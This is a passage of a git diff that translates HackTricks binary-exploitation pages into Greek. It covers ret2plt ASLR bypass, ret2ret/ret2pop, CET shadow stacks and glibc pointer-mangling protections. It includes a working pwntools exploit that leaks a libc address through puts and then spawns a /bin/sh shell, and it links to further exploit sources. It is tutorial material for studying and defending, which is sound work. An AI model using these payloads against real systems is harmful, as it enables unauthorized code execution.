παράδειγμα, διαρρεύσετε τη διεύθυνση της συνάρτησης `puts` από τη libc, μπορείτε στη συνέχεια να **υπολογίσετε πού είναι η βάση της `libc`** και να υπολογίσετε offsets για να αποκτήσετε πρόσβαση σε άλλες συναρτήσεις όπως **`system`**. +Αυτό μπορεί να γίνει με ένα payload `pwntools` όπως ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): ```python # 32-bit ret2plt payload = flat( - b'A' * padding, - elf.plt['puts'], - elf.symbols['main'], - elf.got['puts'] +b'A' * padding, +elf.plt['puts'], +elf.symbols['main'], +elf.got['puts'] ) # 64-bit payload = flat( - b'A' * padding, - POP_RDI, - elf.got['puts'] - elf.plt['puts'], - elf.symbols['main'] +b'A' * padding, +POP_RDI, +elf.got['puts'] +elf.plt['puts'], +elf.symbols['main'] ) ``` +Σημειώστε πώς η **`puts`** (χρησιμοποιώντας τη διεύθυνση από το PLT) καλείται με τη διεύθυνση της `puts` που βρίσκεται στο GOT (Global Offset Table). Αυτό συμβαίνει επειδή μέχρι τη στιγμή που η `puts` εκτυπώνει την εγγραφή του GOT της puts, αυτή η **εγγραφή θα περιέχει τη ακριβή διεύθυνση της `puts` στη μνήμη**. -Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**. - -Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid). +Επίσης, σημειώστε πώς η διεύθυνση της `main` χρησιμοποιείται στην εκμετάλλευση, έτσι ώστε όταν η `puts` ολοκληρώσει την εκτέλεσή της, η **δυαδική κλήση καλεί ξανά την `main` αντί να τερματίσει** (έτσι η διαρροή διεύθυνσης θα παραμείνει έγκυρη). > [!CAUTION] -> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first. - -You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**: +> Σημειώστε πώς για να λειτουργήσει αυτό, η **δυαδική δεν μπορεί να έχει μεταγλωττιστεί με PIE** ή πρέπει να έχετε **βρει μια διαρροή για να παρακάμψετε το PIE** προκειμένου να γνωρίζετε τη διεύθυνση του PLT, GOT και main. Διαφορετικά, πρέπει πρώτα να παρακάμψετε το PIE. +Μπορείτε να βρείτε ένα [**πλήρες παράδειγμα αυτής της παράκαμψης εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Αυτή ήταν η τελική εκμετάλλευση από αυτό το **παράδειγμα**: ```python from pwn import * @@ -46,10 +43,10 @@ p = process() p.recvline() payload = flat( - 'A' * 32, - elf.plt['puts'], - elf.sym['main'], - elf.got['puts'] +'A' * 32, +elf.plt['puts'], +elf.sym['main'], +elf.got['puts'] ) p.sendline(payload) @@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - libc.sym['exit'], - next(libc.search(b'/bin/sh\x00')) +'A' * 32, +libc.sym['system'], +libc.sym['exit'], +next(libc.search(b'/bin/sh\x00')) ) p.sendline(payload) p.interactive() ``` - -## Other examples & References +## Άλλα παραδείγματα & Αναφορές - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσετε στη συνέχεια το puts και να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 bits, ενεργοποιημένο ASLR, χωρίς canary, υπερχείλιση στο stack από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα one gadget. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md index 19f39dac3..e57f64eff 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md @@ -4,27 +4,27 @@ ## Ret2ret -The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**. +Ο κύριος **στόχος** αυτής της τεχνικής είναι να προσπαθήσει να **παρακάμψει το ASLR εκμεταλλευόμενος έναν υπάρχοντα δείκτη στη στοίβα**. -Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte). +Βασικά, οι υπερχειλίσεις της στοίβας προκαλούνται συνήθως από συμβολοσειρές, και **οι συμβολοσειρές τελειώνουν με ένα null byte στο τέλος** στη μνήμη. Αυτό επιτρέπει να προσπαθήσουμε να μειώσουμε τη θέση που δείχνει ένας υπάρχων δείκτης που ήδη υπάρχει στη στοίβα. Έτσι, αν η στοίβα περιείχε `0xbfffffdd`, αυτή η υπερχείλιση θα μπορούσε να την μετατρέψει σε `0xbfffff00` (σημειώστε το τελευταίο μηδενικό byte). -If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached. +Αν αυτή η διεύθυνση δείχνει στον shellcode μας στη στοίβα, είναι δυνατόν να κάνουμε τη ροή να φτάσει σε αυτή τη διεύθυνση προσθέτοντας διευθύνσεις στην εντολή `ret` μέχρι να φτάσουμε σε αυτήν. -Therefore the attack would be like this: +Επομένως, η επίθεση θα είναι ως εξής: - NOP sled - Shellcode -- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled) -- 0x00 added by the string modifying an address from the stack making it point to the NOP sled +- Επικαλύψτε τη στοίβα από το EIP με **διευθύνσεις προς `ret`** (RET sled) +- 0x00 προστίθεται από τη συμβολοσειρά τροποποιώντας μια διεύθυνση από τη στοίβα κάνοντάς την να δείχνει στο NOP sled -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit. +Ακολουθώντας [**αυτόν τον σύνδεσμο**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) μπορείτε να δείτε ένα παράδειγμα ενός ευάλωτου δυαδικού και [**σε αυτόν**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) την εκμετάλλευση. ## Ret2pop -In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop ; ret`**.\ -This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change. +Σε περίπτωση που μπορείτε να βρείτε έναν **τέλειο δείκτη στη στοίβα που δεν θέλετε να τροποποιήσετε** (στο `ret2ret` αλλάζουμε το τελικό χαμηλότερο byte σε `0x00`), μπορείτε να εκτελέσετε την ίδια επίθεση `ret2ret`, αλλά το **μήκος του RET sled πρέπει να μειωθεί κατά 1** (έτσι το τελικό `0x00` επικαλύπτει τα δεδομένα ακριβώς πριν από τον τέλειο δείκτη), και η **τελευταία** διεύθυνση του RET sled πρέπει να δείχνει σε **`pop ; ret`**.\ +Με αυτόν τον τρόπο, τα **δεδομένα πριν από τον τέλειο δείκτη θα αφαιρεθούν** από τη στοίβα (αυτά είναι τα δεδομένα που επηρεάζονται από το `0x00`) και το **τελικό `ret` θα δείχνει στη τέλεια διεύθυνση** στη στοίβα χωρίς καμία αλλαγή. -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit. +Ακολουθώντας [**αυτόν τον σύνδεσμο**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) μπορείτε να δείτε ένα παράδειγμα ενός ευάλωτου δυαδικού και [**σε αυτόν**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) την εκμετάλλευση. ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md index 22e1edbc2..c6adec3f0 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -4,22 +4,22 @@ ## Control Flow Enforcement Technology (CET) -**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action. +**CET** είναι μια λειτουργία ασφαλείας που έχει υλοποιηθεί σε επίπεδο υλικού, σχεδιασμένη να αποτρέπει κοινές επιθέσεις κατάληψης ροής ελέγχου όπως **Return-Oriented Programming (ROP)** και **Jump-Oriented Programming (JOP)**. Αυτοί οι τύποι επιθέσεων χειρίζονται τη ροή εκτέλεσης ενός προγράμματος για να εκτελέσουν κακόβουλο κώδικα ή να συνδυάσουν κομμάτια κανονικού κώδικα με τρόπο που να εκτελεί μια κακόβουλη ενέργεια. -CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**. +Το CET εισάγει δύο κύριες λειτουργίες: **Indirect Branch Tracking (IBT)** και **Shadow Stack**. -- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations. -- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow. +- **IBT** διασφαλίζει ότι οι έμμεσες μεταβάσεις και κλήσεις γίνονται σε έγκυρους στόχους, οι οποίοι σημειώνονται ρητά ως νόμιμοι προορισμοί για έμμεσες μεταβάσεις. Αυτό επιτυγχάνεται μέσω της χρήσης ενός νέου συνόλου εντολών που σημειώνει έγκυρους στόχους, αποτρέποντας έτσι τους επιτιθέμενους από το να εκτρέπουν τη ροή ελέγχου σε αυθαίρετες τοποθεσίες. +- **Shadow Stack** είναι ένας μηχανισμός που παρέχει ακεραιότητα για τις διευθύνσεις επιστροφής. Διατηρεί ένα ασφαλές, κρυφό αντίγραφο των διευθύνσεων επιστροφής ξεχωριστό από την κανονική στοίβα κλήσεων. Όταν μια συνάρτηση επιστρέφει, η διεύθυνση επιστροφής επικυρώνεται σε σχέση με τη shadow stack, αποτρέποντας τους επιτιθέμενους από το να αντικαταστήσουν τις διευθύνσεις επιστροφής στη στοίβα για να καταλάβουν τη ροή ελέγχου. ## Shadow Stack -The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks. +Η **shadow stack** είναι μια **αφιερωμένη στοίβα που χρησιμοποιείται αποκλειστικά για την αποθήκευση διευθύνσεων επιστροφής**. Λειτουργεί παράλληλα με την κανονική στοίβα αλλά είναι προστατευμένη και κρυφή από την κανονική εκτέλεση προγράμματος, καθιστώντας δύσκολη την παρέμβαση των επιτιθέμενων. Ο κύριος στόχος της shadow stack είναι να διασφαλίσει ότι οποιεσδήποτε τροποποιήσεις στις διευθύνσεις επιστροφής στην κανονική στοίβα ανιχνεύονται πριν μπορέσουν να χρησιμοποιηθούν, μειώνοντας αποτελεσματικά τις επιθέσεις ROP. ## How CET and Shadow Stack Prevent Attacks -**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code. +Οι **επιθέσεις ROP και JOP** βασίζονται στην ικανότητα να καταλαμβάνουν τη ροή ελέγχου μιας εφαρμογής εκμεταλλευόμενοι ευπάθειες που τους επιτρέπουν να αντικαθιστούν δείκτες ή διευθύνσεις επιστροφής στη στοίβα. Κατευθύνοντας τη ροή σε ακολουθίες υπαρχόντων κωδικών gadgets ή gadgets προσανατολισμένων σε επιστροφές, οι επιτιθέμενοι μπορούν να εκτελέσουν αυθαίρετο κώδικα. -- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary. -- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding. +- Η λειτουργία **IBT** του CET καθιστά αυτές τις επιθέσεις σημαντικά πιο δύσκολες διασφαλίζοντας ότι οι έμμεσες μεταβάσεις μπορούν να πηδήξουν μόνο σε διευθύνσεις που έχουν σημειωθεί ρητά ως έγκυροι στόχοι. Αυτό καθιστά αδύνατο για τους επιτιθέμενους να εκτελούν αυθαίρετα gadgets που είναι διασκορπισμένα σε όλο το δυαδικό. +- Η **shadow stack**, από την άλλη πλευρά, διασφαλίζει ότι ακόμη και αν ένας επιτιθέμενος μπορεί να αντικαταστήσει μια διεύθυνση επιστροφής στη φυσιολογική στοίβα, η **διαφορά θα ανιχνευθεί** όταν συγκρίνεται η κατεστραμμένη διεύθυνση με το ασφαλές αντίγραφο που αποθηκεύεται στη shadow stack κατά την επιστροφή από μια συνάρτηση. Εάν οι διευθύνσεις δεν ταιριάζουν, το πρόγραμμα μπορεί να τερματίσει ή να λάβει άλλα μέτρα ασφαλείας, αποτρέποντας την επιτυχία της επίθεσης. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md index cacfd7f2f..4392d4bdf 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md @@ -4,77 +4,77 @@ ## Chunk Alignment Enforcement -**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin. +**Malloc** εκχωρεί μνήμη σε **ομαδοποιήσεις 8-byte (32-bit) ή 16-byte (64-bit)**. Αυτό σημαίνει ότι το τέλος των κομματιών σε συστήματα 32-bit θα πρέπει να ευθυγραμμίζεται με **0x8**, και σε συστήματα 64-bit με **0x0**. Η λειτουργία ασφαλείας ελέγχει ότι κάθε κομμάτι **ευθυγραμμίζεται σωστά** σε αυτές τις συγκεκριμένες τοποθεσίες πριν χρησιμοποιήσει έναν δείκτη από ένα bin. ### Security Benefits -The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully. +Η επιβολή ευθυγράμμισης κομματιών σε συστήματα 64-bit ενισχύει σημαντικά την ασφάλεια του Malloc περιορίζοντας **την τοποθέτηση ψεύτικων κομματιών σε μόνο 1 από κάθε 16 διευθύνσεις**. Αυτό περιπλέκει τις προσπάθειες εκμετάλλευσης, ειδικά σε σενάρια όπου ο χρήστης έχει περιορισμένο έλεγχο στις τιμές εισόδου, καθιστώντας τις επιθέσεις πιο περίπλοκες και δύσκολες στην επιτυχία. - **Fastbin Attack on \_\_malloc_hook** -The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security. +Οι νέοι κανόνες ευθυγράμμισης στο Malloc αποτρέπουν επίσης μια κλασική επίθεση που περιλαμβάνει τον `__malloc_hook`. Προηγουμένως, οι επιτιθέμενοι μπορούσαν να χειραγωγήσουν τα μεγέθη των κομματιών για να **επικαλύψουν αυτόν τον δείκτη συνάρτησης** και να αποκτήσουν **εκτέλεση κώδικα**. Τώρα, η αυστηρή απαίτηση ευθυγράμμισης διασφαλίζει ότι τέτοιες χειραγωγήσεις δεν είναι πλέον βιώσιμες, κλείνοντας μια κοινή διαδρομή εκμετάλλευσης και ενισχύοντας τη συνολική ασφάλεια. ## Pointer Mangling on fastbins and tcache -**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**). +**Pointer Mangling** είναι μια βελτίωση ασφαλείας που χρησιμοποιείται για την προστασία των **fastbin και tcache Fd pointers** σε λειτουργίες διαχείρισης μνήμης. Αυτή η τεχνική βοηθά στην αποτροπή ορισμένων τύπων τακτικών εκμετάλλευσης μνήμης, συγκεκριμένα αυτών που δεν απαιτούν διαρροή πληροφοριών μνήμης ή που χειραγωγούν άμεσα τις τοποθεσίες μνήμης σε σχέση με γνωστές θέσεις (σχετικές **επικαλύψεις**). -The core of this technique is an obfuscation formula: +Ο πυρήνας αυτής της τεχνικής είναι μια φόρμουλα απόκρυψης: **`New_Ptr = (L >> 12) XOR P`** -- **L** is the **Storage Location** of the pointer. -- **P** is the actual **fastbin/tcache Fd Pointer**. +- **L** είναι η **Τοποθεσία Αποθήκευσης** του δείκτη. +- **P** είναι ο πραγματικός **fastbin/tcache Fd Pointer**. -The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits. +Ο λόγος για τη μετατόπιση των bit της τοποθεσίας αποθήκευσης (L) κατά 12 bit προς τα δεξιά πριν από τη λειτουργία XOR είναι κρίσιμος. Αυτή η χειραγώγηση αντιμετωπίζει μια ευπάθεια που είναι εγγενής στη ντετερμινιστική φύση των 12 λιγότερο σημαντικών bit των διευθύνσεων μνήμης, οι οποίες είναι συνήθως προβλέψιμες λόγω περιορισμών αρχιτεκτονικής συστήματος. Με τη μετατόπιση των bit, το προβλέψιμο τμήμα απομακρύνεται από την εξίσωση, ενισχύοντας την τυχαιότητα του νέου, παραμορφωμένου δείκτη και έτσι προστατεύοντας από εκμεταλλεύσεις που βασίζονται στην προβλεψιμότητα αυτών των bit. -This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process. +Αυτός ο παραμορφωμένος δείκτης εκμεταλλεύεται την υπάρχουσα τυχαιότητα που παρέχεται από **Address Space Layout Randomization (ASLR)**, η οποία τυχαίνει τις διευθύνσεις που χρησιμοποιούνται από προγράμματα για να δυσκολεύει τους επιτιθέμενους να προβλέψουν τη διάταξη μνήμης μιας διαδικασίας. -**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers. +**Demangling** του δείκτη για να ανακτηθεί η αρχική διεύθυνση περιλαμβάνει τη χρήση της ίδιας λειτουργίας XOR. Εδώ, ο παραμορφωμένος δείκτης αντιμετωπίζεται ως P στη φόρμουλα, και όταν XORαριστεί με την αμετάβλητη τοποθεσία αποθήκευσης (L), αποκαλύπτεται ο αρχικός δείκτης. Αυτή η συμμετρία στην παραμόρφωση και αποπαραμόρφωση διασφαλίζει ότι το σύστημα μπορεί να κωδικοποιεί και να αποκωδικοποιεί αποτελεσματικά τους δείκτες χωρίς σημαντικό κόστος, ενώ αυξάνει σημαντικά την ασφάλεια κατά των επιθέσεων που χειραγωγούν τους δείκτες μνήμης. ### Security Benefits -Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways: +Ο παραμορφωμένος δείκτης στοχεύει να **αποτρέψει μερικές και πλήρεις επικαλύψεις δείκτων στη διαχείριση heap**, μια σημαντική βελτίωση στην ασφάλεια. Αυτή η δυνατότητα επηρεάζει τις τεχνικές εκμετάλλευσης με διάφορους τρόπους: -1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success. -2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier. -3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses. -4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints. +1. **Αποτροπή Σχετικών Επικαλύψεων Byte Byte**: Προηγουμένως, οι επιτιθέμενοι μπορούσαν να αλλάξουν μέρος ενός δείκτη για να **ανακατευθύνουν τα κομμάτια heap σε διαφορετικές τοποθεσίες χωρίς να γνωρίζουν ακριβείς διευθύνσεις**, μια τεχνική που είναι προφανής στην εκμετάλλευση χωρίς διαρροές **House of Roman**. Με τον παραμορφωμένο δείκτη, τέτοιες σχετικές επικαλύψεις **χωρίς διαρροή heap απαιτούν τώρα βίαιη δύναμη**, μειώνοντας δραστικά την πιθανότητα επιτυχίας τους. +2. **Αυξημένη Δυσκολία Επιθέσεων Tcache Bin/Fastbin**: Κοινές επιθέσεις που επικαλύπτουν δείκτες συναρτήσεων (όπως `__malloc_hook`) με τη χειραγώγηση των fastbin ή tcache καταχωρήσεων εμποδίζονται. Για παράδειγμα, μια επίθεση μπορεί να περιλαμβάνει τη διαρροή μιας διεύθυνσης LibC, την απελευθέρωση ενός κομματιού στο bin tcache και στη συνέχεια την επικαλυπτική του δείκτη Fd για να το ανακατευθύνει στο `__malloc_hook` για αυθαίρετη εκτέλεση κώδικα. Με τον παραμορφωμένο δείκτη, αυτοί οι δείκτες πρέπει να είναι σωστά παραμορφωμένοι, **απαιτώντας μια διαρροή heap για ακριβή χειραγώγηση**, αυξάνοντας έτσι το εμπόδιο εκμετάλλευσης. +3. **Απαίτηση Διαρροών Heap σε Μη-Heap Τοποθεσίες**: Η δημιουργία ενός ψεύτικου κομματιού σε μη-heap περιοχές (όπως η στοίβα, η ενότητα .bss ή το PLT/GOT) απαιτεί επίσης **μια διαρροή heap** λόγω της ανάγκης για παραμόρφωση δείκτη. Αυτό επεκτείνει την πολυπλοκότητα της εκμετάλλευσης αυτών των περιοχών, παρόμοια με την απαίτηση για χειραγώγηση διευθύνσεων LibC. +4. **Η Διαρροή Διευθύνσεων Heap Γίνεται Πιο Δύσκολη**: Ο παραμορφωμένος δείκτης περιορίζει τη χρησιμότητα των δεικτών Fd σε fastbin και tcache bins ως πηγές για διαρροές διευθύνσεων heap. Ωστόσο, οι δείκτες σε αταξινόμητα, μικρά και μεγάλα bins παραμένουν μη παραμορφωμένοι, επομένως είναι ακόμα χρήσιμοι για διαρροές διευθύνσεων. Αυτή η αλλαγή ωθεί τους επιτιθέμενους να εξερευνήσουν αυτά τα bins για εκμεταλλεύσιμες πληροφορίες, αν και ορισμένες τεχνικές μπορεί να επιτρέπουν ακόμα την αποπαραμόρφωση δεικτών πριν από μια διαρροή, αν και με περιορισμούς. ### **Demangling Pointers with a Heap Leak** > [!CAUTION] -> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088). +> Για μια καλύτερη εξήγηση της διαδικασίας [**ελέγξτε την αρχική ανάρτηση από εδώ**](https://maxwelldulin.com/BlogPost?post=5445977088). ### Algorithm Overview -The formula used for mangling and demangling pointers is: +Η φόρμουλα που χρησιμοποιείται για την παραμόρφωση και αποπαραμόρφωση δεικτών είναι: **`New_Ptr = (L >> 12) XOR P`** -Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves. +Όπου **L** είναι η τοποθεσία αποθήκευσης και **P** είναι ο δείκτης Fd. Όταν **L** μετατοπίζεται προς τα δεξιά κατά 12 bit, εκθέτει τα πιο σημαντικά bit του **P**, λόγω της φύσης του **XOR**, το οποίο επιστρέφει 0 όταν τα bit XORαριστούν με τον εαυτό τους. **Key Steps in the Algorithm:** -1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged. -2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer. -3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered. -4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process. +1. **Αρχική Διαρροή των Πιο Σημαντικών Bit**: Με το XORαρισμα του μετατοπισμένου **L** με **P**, αποκτάτε αποτελεσματικά τα 12 πιο σημαντικά bit του **P** επειδή το μετατοπισμένο τμήμα του **L** θα είναι μηδέν, αφήνοντας τα αντίστοιχα bit του **P** αμετάβλητα. +2. **Ανάκτηση των Bit του Δείκτη**: Δεδομένου ότι το XOR είναι αναστρέψιμο, γνωρίζοντας το αποτέλεσμα και έναν από τους τελεστές σας επιτρέπει να υπολογίσετε τον άλλο τελεστή. Αυτή η ιδιότητα χρησιμοποιείται για να υπολογίσει το σύνολο των bit για **P** με διαδοχικό XORαρισμα γνωστών συνόλων bit με μέρη του παραμορφωμένου δείκτη. +3. **Επαναληπτική Αποπαραμόρφωση**: Η διαδικασία επαναλαμβάνεται, κάθε φορά χρησιμοποιώντας τα νέα ανακαλυφθέντα bit του **P** από το προηγούμενο βήμα για να αποκωδικοποιήσει το επόμενο τμήμα του παραμορφωμένου δείκτη, μέχρι να ανακτηθούν όλα τα bit. +4. **Διαχείριση Ντετερμινιστικών Bit**: Τα τελικά 12 bit του **L** χάνονται λόγω της μετατόπισης, αλλά είναι ντετερμινιστικά και μπορούν να ανακατασκευαστούν μετά τη διαδικασία. -You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) +Μπορείτε να βρείτε μια υλοποίηση αυτού του αλγορίθμου εδώ: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) ## Pointer Guard -Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from 